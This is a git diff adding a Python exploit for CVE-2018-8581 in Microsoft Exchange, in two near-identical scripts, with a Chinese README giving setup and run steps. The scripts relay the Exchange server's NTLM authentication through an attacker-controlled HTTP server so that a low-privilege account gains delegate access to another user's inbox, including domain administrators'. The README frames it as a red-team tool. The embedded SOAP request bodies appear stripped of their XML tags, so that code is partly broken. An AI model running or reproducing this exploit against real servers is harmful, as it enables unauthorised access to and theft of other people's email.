diff --git a/CVE-2018-8581.py b/CVE-2018-8581.py
new file mode 100644
index 0000000..f471652
--- /dev/null
+++ b/CVE-2018-8581.py
@@ -0,0 +1,381 @@
+#!/usr/bin/python
+# -*- coding:utf-8 -*-
+#
+# CVE-2018-8581
+# https://github.com/WyAtu/CVE-2018-8581
+#
+
+import re
+import ssl
+import httplib
+from ntlm import ntlm
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+
+# Exchange server config
+IP = 'mail.target_domain.com'
+PORT = 443
+PROTO = 'https'
+# PORT = 80
+# PROTO = 'http'
+
+# CONTROLLED_EMAIL and TARGET_EMAIL config
+USER = 'the_email_u_have'
+DOMAIN = 'the_domain_name'
+PASS = 'password_of_the_email_u_have'
+
+TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
+CONTROLLED_EMAIL = "the_email_u_have@target_domain"
+
+# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
+FLAG = 1
+
+# Exchange server version
+# EXCHANGE_VERSION = "Exchange2010_SP1"
+EXCHANGE_VERSION = "Exchange2010_SP2"
+# EXCHANGE_VERSION = "Exchange2010_SP3"
+# EXCHANGE_VERSION = "Exchange2013"
+# EXCHANGE_VERSION = "Exchange2016"
+
+#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
+HTTPPORT = 8080
+EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
+
+try:
+ _create_unverified_https_context = ssl._create_unverified_context
+except AttributeError:
+ pass
+else:
+ ssl._create_default_https_context = _create_unverified_https_context
+
+URL = "/EWS/Exchange.asmx"
+
+def request_func(ip, port, proto, body):
+ if proto == 'https':
+ conn = httplib.HTTPSConnection(ip, port)
+ else:
+ conn = httplib.HTTPConnection(ip, port)
+
+ ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER)
+ headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"}
+
+ conn.request("POST", URL, body, headers)
+ response = conn.getresponse()
+ resp_data = response.read()
+
+ if response.status == 401:
+ print "\t[*] Got 401 response with NTLM NONCE."
+ print "\t[*] Trying authenticate current user..."
+ Nonce = response.getheader("WWW-Authenticate")
+ (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
+ ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags)
+ headers["Authorization"] = "NTLM " + ntlmresponce
+ conn.request("POST", URL, body, headers)
+ response = conn.getresponse()
+ resp_data = response.read()
+ if response.status != 401:
+ print "\t[+] Authentication and request sent successfully"
+ conn.close()
+ return resp_data
+ conn.close()
+ exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS))
+
+def make_simple_add_body(exchange_version, target_email, controlled_email):
+ body = '''
+
+
+
+
+
+
+
+ %s
+
+
+
+
+ %s
+
+
+
+ None
+
+
+ false
+ false
+
+
+ DelegatesAndSendInformationToMe
+
+
+
+ '''%(exchange_version, target_email, controlled_email)
+ return body
+
+def make_simple_remove_body(exchange_version, target_email, controlled_email):
+ body = '''
+
+
+
+
+
+
+
+ %s
+
+
+
+ %s
+
+
+
+
+
+ '''%(exchange_version, target_email, controlled_email)
+ return body
+
+def make_pushsubscription_body(exchange_version):
+ body = '''
+
+
+
+
+
+
+
+
+
+ NewMailEvent
+ ModifiedEvent
+ MovedEvent
+
+ 1
+
+ %s
+
+
+
+
+ '''%(exchange_version, EVIL_HTTPSERVER_URL)
+ return body
+
+def make_relay_body(exchange_version, target_email, controlled_email, sid):
+ if FLAG == 1: body = '''
+
+
+
+
+%s
+
+
+ %s
+
+
+
+
+
+
+
+
+
+
+ %s
+
+
+
+
+ %s
+
+
+ Editor
+
+ false
+ false
+
+
+ DelegatesAndSendInformationToMe
+
+
+
+ '''%(exchange_version, sid, sid, target_email, controlled_email)
+ else : body = '''
+
+
+
+
+
+%s
+
+
+ %s
+
+
+
+
+
+
+
+
+
+
+
+ %s
+
+
+
+ %s
+
+
+
+
+
+ '''%(exchange_version, sid, sid, target_email, controlled_email)
+ return body
+
+def get_sid(text):
+ sid = email = ""
+ sid_re = re.search('(.*?)', text, flags=re.I|re.M)
+ if sid_re: sid = sid_re.group(1)
+ email_re = re.search('(.*?)', text, flags=re.I|re.M)
+ if email_re: email = email_re.group(1)
+ return sid, email
+
+
+def get_ntlm_challenge(ntlm_negotiate, body):
+ headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
+ conn.request("POST", URL, body, headers)
+ response = conn.getresponse()
+ resp_data = response.read()
+
+ if response.status == 401:
+ Nonce = response.getheader("WWW-Authenticate")
+ return Nonce
+
+def use_ntlm_auth(ntlm_auth, body):
+ resp_data = ""
+ headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
+ conn.request("POST", URL, body, headers)
+ response = conn.getresponse()
+ resp_data = response.read()
+ return resp_data
+
+class postHandler(BaseHTTPRequestHandler):
+ def do_POST(self):
+ global step
+ result = ""
+ headers = self.headers
+ authHeader = headers.getheader('Authorization')
+ if not authHeader:
+ self.send_response(401)
+ self.send_header('WWW-Authenticate:', 'NTLM')
+ self.end_headers()
+ step = 1
+ else:
+ if step == 1:
+ ntlm_negotiate = authHeader
+ step = 2
+ ntlm_challenge = get_ntlm_challenge(ntlm_negotiate, relay_body)
+ self.send_response(401)
+ self.send_header('WWW-Authenticate:', ntlm_challenge)
+ self.end_headers()
+ else:
+ self.send_response(401)
+ self.end_headers()
+ ntlm_auth = authHeader
+ result = use_ntlm_auth(ntlm_auth, relay_body)
+ step = 3
+
+ if FLAG == 1 and step == 3:
+ if "ErrorDelegateAlreadyExists" in result:
+ print '[+] Delegate Already Exists'
+ return
+ sid, email = get_sid(result)
+ if sid == "":
+ print '[-] Something error, can\'t add delegate'
+ return
+ print '[+] Delegate added'
+ print "[+] Now you can use '%s' to view the inbox of '%s' on owa/outlook"%(CONTROLLED_EMAIL, TARGET_EMAIL)
+ elif FLAG == 0 and step == 3:
+ if 'ErrorNotDelegate' in result:
+ print "[*] The TARGET_EMAIL '%s' is not delegated by '%s'"%(TARGET_EMAIL, CONTROLLED_EMAIL)
+ return
+ if 'ErrorNonExistentMailbox' in result:
+ print "[-] The TARGET_EMAIL '%s' may not be enabled"%(TARGET_EMAIL)
+ return
+ if 'ErrorAccessDenied' in result or 'ErrorItemNotFound' in result:
+ print "[-] Access denied"
+ return
+ if "NoError" in result:
+ print "[+] Delegate removed"
+ return
+ print "[-] Something error, can't remove delegate"
+ else:
+ pass
+ return
+
+if __name__ == "__main__":
+ print "[*] Exchange Server Address: %s:%d" %(PROTO + '://' + IP, PORT)
+
+ print "[*] Sending 'AddDelegate' EWS request to get the sid of the TARGET_EMAIL '%s'..."%(TARGET_EMAIL)
+ add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
+ result = request_func(IP, PORT, PROTO, add_body)
+
+ remove_body = make_simple_remove_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
+
+ if 'ErrorDelegateAlreadyExists' in result:
+ print '[-] Delegate Already Exists'
+ print '[*] Now try to remove the delegate'
+ result = request_func(IP, PORT, PROTO, remove_body)
+ print "[*] Now try to get the sid of the TARGET_EMAIL '%s' again..."%(TARGET_EMAIL)
+ add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
+ result = request_func(IP, PORT, PROTO, add_body)
+
+ sid, email = get_sid(result)
+ if sid == "":
+ exit("[-] Something error, can't get the sid of the TARGET_EMAIL '%s', plz confirm the config"%(TARGET_EMAIL))
+ print "[+] Got the sid of '%s': %s"%(email, sid)
+
+ print "[*] Sending 'RemoveDelegate' EWS request..."
+ result = request_func(IP, PORT, PROTO, remove_body)
+ if 'ErrorNotDelegate' in result or 'ErrorItemNotFound' in result:
+ exit("[-] Delegate not removed")
+ print "[+] Delegate removed"
+ push_body = make_pushsubscription_body(EXCHANGE_VERSION)
+ print "[*] Sending 'PushSubscription' EWS request..."
+ result = request_func(IP, PORT, PROTO, push_body)
+ if 'NoError' not in result:
+ exit("[-] Sending 'PushSubscription' EWS request failed")
+ print "[+] Sending 'PushSubscription' EWS request successfully"
+ print "[*] Now start to relay NTLM..."
+
+ if PROTO=='https':
+ conn = httplib.HTTPSConnection(IP, PORT)
+ else:
+ conn = httplib.HTTPConnection(IP, PORT)
+
+ relay_body = make_relay_body(EXCHANGE_VERSION, TARGET_EMAIL, CONTROLLED_EMAIL, sid)
+
+ step=1
+ try:
+ server = HTTPServer(('', HTTPPORT), postHandler)
+ print '[*] Started httpserver on port', HTTPPORT
+ print '[*] Start to %s delegate, Plz wait...'%('add' if FLAG == 1 else 'remove')
+
+ while not(step == 3):
+ server.handle_request()
+
+ except KeyboardInterrupt:
+ print '[-] ^C received, shutting down the web server'
+ server.socket.close()
diff --git a/CVE-2018-8581_debug.py b/CVE-2018-8581_debug.py
new file mode 100644
index 0000000..53a1a15
--- /dev/null
+++ b/CVE-2018-8581_debug.py
@@ -0,0 +1,396 @@
+#!/usr/bin/python
+# -*- coding:utf-8 -*-
+#
+# CVE-2018-8581
+# https://github.com/WyAtu/CVE-2018-8581
+#
+
+import re
+import ssl
+import httplib
+from ntlm import ntlm
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+
+# print_debug_info == 1 --> show debug info, print_debug_info == 0 --> hide debug info
+print_debug_info = 0
+
+# Exchange server config
+IP = 'mail.target_domain.com'
+PORT = 443
+PROTO = 'https'
+# PORT = 80
+# PROTO = 'http'
+
+# CONTROLLED_EMAIL and TARGET_EMAIL config
+USER = 'the_email_u_have'
+DOMAIN = 'the_domain_name'
+PASS = 'password_of_the_email_u_have'
+
+TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
+CONTROLLED_EMAIL = "the_email_u_have@target_domain"
+
+# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
+FLAG = 1
+
+# Exchange server version
+# EXCHANGE_VERSION = "Exchange2010_SP1"
+EXCHANGE_VERSION = "Exchange2010_SP2"
+# EXCHANGE_VERSION = "Exchange2010_SP3"
+# EXCHANGE_VERSION = "Exchange2013"
+# EXCHANGE_VERSION = "Exchange2016"
+
+#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
+HTTPPORT = 8080
+EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
+
+try:
+ _create_unverified_https_context = ssl._create_unverified_context
+except AttributeError:
+ pass
+else:
+ ssl._create_default_https_context = _create_unverified_https_context
+
+URL = "/EWS/Exchange.asmx"
+
+def request_func(ip, port, proto, body):
+ if proto == 'https':
+ conn = httplib.HTTPSConnection(ip, port)
+ else:
+ conn = httplib.HTTPConnection(ip, port)
+
+ ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER)
+ headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"}
+
+ conn.request("POST", URL, body, headers)
+ response = conn.getresponse()
+ resp_data = response.read()
+
+ if response.status == 401:
+ print "\t[*] Got 401 response with NTLM NONCE."
+ print "\t[*] Trying authenticate current user..."
+ Nonce = response.getheader("WWW-Authenticate")
+ (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
+ ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags)
+ headers["Authorization"] = "NTLM " + ntlmresponce
+ conn.request("POST", URL, body, headers)
+ response = conn.getresponse()
+ resp_data = response.read()
+ if response.status != 401:
+ print "\t[+] Authentication and request sent successfully"
+ conn.close()
+ return resp_data
+ conn.close()
+ exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS))
+
+def make_simple_add_body(exchange_version, target_email, controlled_email):
+ body = '''
+
+
+
+
+
+
+
+ %s
+
+
+
+
+ %s
+
+
+
+ None
+
+
+ false
+ false
+
+
+ DelegatesAndSendInformationToMe
+
+
+
+ '''%(exchange_version, target_email, controlled_email)
+ return body
+
+def make_simple_remove_body(exchange_version, target_email, controlled_email):
+ body = '''
+
+
+
+
+
+
+
+ %s
+
+
+
+ %s
+
+
+
+
+
+ '''%(exchange_version, target_email, controlled_email)
+ return body
+
+def make_pushsubscription_body(exchange_version):
+ body = '''
+
+
+
+
+
+
+
+
+
+ NewMailEvent
+ ModifiedEvent
+ MovedEvent
+
+ 1
+
+ %s
+
+
+
+
+ '''%(exchange_version, EVIL_HTTPSERVER_URL)
+ return body
+
+def make_relay_body(exchange_version, target_email, controlled_email, sid):
+ if FLAG == 1: body = '''
+
+
+
+
+%s
+
+
+ %s
+
+
+
+
+
+
+
+
+
+
+ %s
+
+
+
+
+ %s
+
+
+ Editor
+
+ false
+ false
+
+
+ DelegatesAndSendInformationToMe
+
+
+
+ '''%(exchange_version, sid, sid, target_email, controlled_email)
+ else : body = '''
+
+
+
+
+
+%s
+
+
+ %s
+
+
+
+
+
+
+
+
+
+
+
+ %s
+
+
+
+ %s
+
+
+
+
+
+ '''%(exchange_version, sid, sid, target_email, controlled_email)
+ return body
+
+def get_sid(text):
+ sid = email = ""
+ sid_re = re.search('(.*?)', text, flags=re.I|re.M)
+ if sid_re: sid = sid_re.group(1)
+ email_re = re.search('(.*?)', text, flags=re.I|re.M)
+ if email_re: email = email_re.group(1)
+ return sid, email
+
+
+def get_ntlm_challenge(ntlm_negotiate, body):
+ headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
+ conn.request("POST", URL, body, headers)
+ response = conn.getresponse()
+ resp_data = response.read()
+
+ if print_debug_info:
+ print "[DEBUG]: Received EWS response(get_ntlm_challenge):"
+ print response.status, response.reason, '\n',response.msg, '\n', resp_data
+
+ if response.status == 401:
+ Nonce = response.getheader("WWW-Authenticate")
+ return Nonce
+
+def use_ntlm_auth(ntlm_auth, body):
+ resp_data = ""
+ headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
+ conn.request("POST", URL, body, headers)
+ response = conn.getresponse()
+ resp_data = response.read()
+ if print_debug_info:
+ print "[DEBUG]: Received EWS response(use_ntlm_auth):"
+ print response.status, response.reason, '\n',response.msg, '\n', resp_data
+ return resp_data
+
+class postHandler(BaseHTTPRequestHandler):
+ def do_POST(self):
+ global step
+ result = ""
+ headers = self.headers
+ authHeader = headers.getheader('Authorization')
+ if not authHeader:
+ self.send_response(401)
+ self.send_header('WWW-Authenticate:', 'NTLM')
+ self.end_headers()
+ step = 1
+ else:
+ if step == 1:
+ ntlm_negotiate = authHeader
+ step = 2
+ ntlm_challenge = get_ntlm_challenge(ntlm_negotiate, relay_body)
+ self.send_response(401)
+ self.send_header('WWW-Authenticate:', ntlm_challenge)
+ self.end_headers()
+ else:
+ self.send_response(401)
+ self.end_headers()
+ ntlm_auth = authHeader
+
+ if print_debug_info:
+ print "\n[DEBUG]: NTLM Auth string:"
+ print ntlm_auth
+
+ result = use_ntlm_auth(ntlm_auth, relay_body)
+ step = 3
+
+ if FLAG == 1 and step == 3:
+ if "ErrorDelegateAlreadyExists" in result:
+ print '[+] Delegate Already Exists'
+ return
+ sid, email = get_sid(result)
+ if sid == "":
+ print '[-] Something error, can\'t add delegate'
+ return
+ print '[+] Delegate added'
+ print "[+] Now you can use '%s' to view the inbox of '%s' on owa/outlook"%(CONTROLLED_EMAIL, TARGET_EMAIL)
+ elif FLAG == 0 and step == 3:
+ if 'ErrorNotDelegate' in result:
+ print "[*] The TARGET_EMAIL '%s' is not delegated by '%s'"%(TARGET_EMAIL, CONTROLLED_EMAIL)
+ return
+ if 'ErrorNonExistentMailbox' in result:
+ print "[-] The TARGET_EMAIL '%s' may not be enabled"%(TARGET_EMAIL)
+ return
+ if 'ErrorAccessDenied' in result or 'ErrorItemNotFound' in result:
+ print "[-] Access denied"
+ return
+ if "NoError" in result:
+ print "[+] Delegate removed"
+ return
+ print "[-] Something error, can't remove delegate"
+ else:
+ pass
+ return
+
+if __name__ == "__main__":
+ print "[*] Exchange Server Address: %s:%d" %(PROTO + '://' + IP, PORT)
+
+ print "[*] Sending 'AddDelegate' EWS request to get the sid of the TARGET_EMAIL '%s'..."%(TARGET_EMAIL)
+ add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
+ result = request_func(IP, PORT, PROTO, add_body)
+
+ remove_body = make_simple_remove_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
+
+ if 'ErrorDelegateAlreadyExists' in result:
+ print '[-] Delegate Already Exists'
+ print '[*] Now try to remove the delegate'
+ result = request_func(IP, PORT, PROTO, remove_body)
+ print "[*] Now try to get the sid of the TARGET_EMAIL '%s' again..."%(TARGET_EMAIL)
+ add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
+ result = request_func(IP, PORT, PROTO, add_body)
+
+ sid, email = get_sid(result)
+ if sid == "":
+ exit("[-] Something error, can't get the sid of the TARGET_EMAIL '%s', plz confirm the config"%(TARGET_EMAIL))
+ print "[+] Got the sid of '%s': %s"%(email, sid)
+
+ print "[*] Sending 'RemoveDelegate' EWS request..."
+ result = request_func(IP, PORT, PROTO, remove_body)
+ if 'ErrorNotDelegate' in result or 'ErrorItemNotFound' in result:
+ exit("[-] Delegate not removed")
+ print "[+] Delegate removed"
+ push_body = make_pushsubscription_body(EXCHANGE_VERSION)
+ print "[*] Sending 'PushSubscription' EWS request..."
+ result = request_func(IP, PORT, PROTO, push_body)
+ if 'NoError' not in result:
+ exit("[-] Sending 'PushSubscription' EWS request failed")
+ print "[+] Sending 'PushSubscription' EWS request successfully"
+ print "[*] Now start to relay NTLM..."
+
+ if PROTO=='https':
+ conn = httplib.HTTPSConnection(IP, PORT)
+ else:
+ conn = httplib.HTTPConnection(IP, PORT)
+
+ relay_body = make_relay_body(EXCHANGE_VERSION, TARGET_EMAIL, CONTROLLED_EMAIL, sid)
+
+ step=1
+ try:
+ server = HTTPServer(('', HTTPPORT), postHandler)
+ print '[*] Started httpserver on port', HTTPPORT
+ print '[*] Start to %s delegate, Plz wait...'%('add' if FLAG == 1 else 'remove')
+
+ while not(step == 3):
+ server.handle_request()
+
+ except KeyboardInterrupt:
+ print '[-] ^C received, shutting down the web server'
+ server.socket.close()
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..1e012ea
--- /dev/null
+++ b/README.md
@@ -0,0 +1,87 @@
+## CVE-2018-8581
+
+这是一个邮箱层面的横向渗透和提权漏洞
+
+它可以在拥有了一个普通权限邮箱账号密码后,完成对其他用户(包括域管理员)邮箱收件箱的委托接管
+
+本EXP脚本是在[原PoC](https://github.com/thezdi/PoC/tree/master/CVE-2018-8581)基础上修改的增强版一键脚本,它将在配置好相关参数后,自动完成目标邮箱inbox收件箱的添加委托和删除委托操作,以方便甲方安全部门和红队对授权企业完成一次模拟攻击过程
+
+原PoC是两个脚本配合使用完成添加收信规则的操作,在甲方红队实际工作中不怎么实用,而原PoC除了需要邮箱外,还需要设置目标邮箱用户的SID,但在参考[文章](https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange)中提到的获取用户SID的方法,我在实际环境中测试Exchange Server 2010和2013版本中均未成功复现(2010无相关操作选项,2013会提示无权限操作),最后我的思路是通过先完成一次反向委托来获取目标邮箱用户的SID再移除委托
+
+### 如何使用
+
+- 安装python-ntlm
+
+ `pip install python-ntlm`
+
+- 在脚本以下代码中进行相关参数配置
+
+ ``` Python
+ ...
+ # Exchange server config
+ IP = 'mail.target_domain.com'
+ PORT = 443
+ PROTO = 'https'
+ # PORT = 80
+ # PROTO = 'http'
+
+ # CONTROLLED_EMAIL and TARGET_EMAIL config
+ USER = 'the_email_u_have'
+ DOMAIN = 'the_domain_name'
+ PASS = 'password_of_the_email_u_have'
+
+ TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
+ CONTROLLED_EMAIL = "the_email_u_have@target_domain"
+
+ # FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
+ FLAG = 1
+
+ # Exchange server version
+ # EXCHANGE_VERSION = "Exchange2010_SP1"
+ EXCHANGE_VERSION = "Exchange2010_SP2"
+ # EXCHANGE_VERSION = "Exchange2010_SP3"
+ # EXCHANGE_VERSION = "Exchange2013"
+ # EXCHANGE_VERSION = "Exchange2016"
+
+ #Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
+ HTTPPORT = 8080
+ EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
+ ...
+ ```
+
+- 运行脚本,然后喝口枸杞茶,等待一分钟
+
+ 
+
+- 此时已成功将TARGET_EMAIL的inbox收件箱委托给CONTROLLED_EMAIL
+
+- 在owa或者outlook中查看目标邮箱收件箱
+
+ 
+
+- 将FLAG改为0,再次运行脚本,然后再次喝口枸杞茶,再次等待一分钟,即可移除之前添加的委托
+
+ 
+
+- 已无权限再次访问
+
+### 适用环境
+
+- Python 2.7.14
+
+- Exchange Server 2010 (比较稳定,测试基本Exchange Server 2010都能成功)
+
+- Exchange Server 2013 (环境差异可能失败)
+
+- Exchange Server 2016 (环境差异可能失败)
+
+
+### 更多
+
+ 更多EWS SOAP API请求可以在make_relay_body()函数内修改
+
+ 在尝试进一步利用中继Net-NTLM hash攻击其他不需SMB签名主机的实验中,发现获取到的hash都是ExchangeServer的...也许在ExchangeServer禁用SMB签名的情况下可以用来跨协议中继攻击ExchangeServer,不过这种情况基本上很难遇到...
+
+### 说明
+
+ 脚本仅供学习交流使用,请使用者遵守当地相关法律,如作他用所承受的法律责任一概与作者无关,下载使用即代表使用者同意上述观点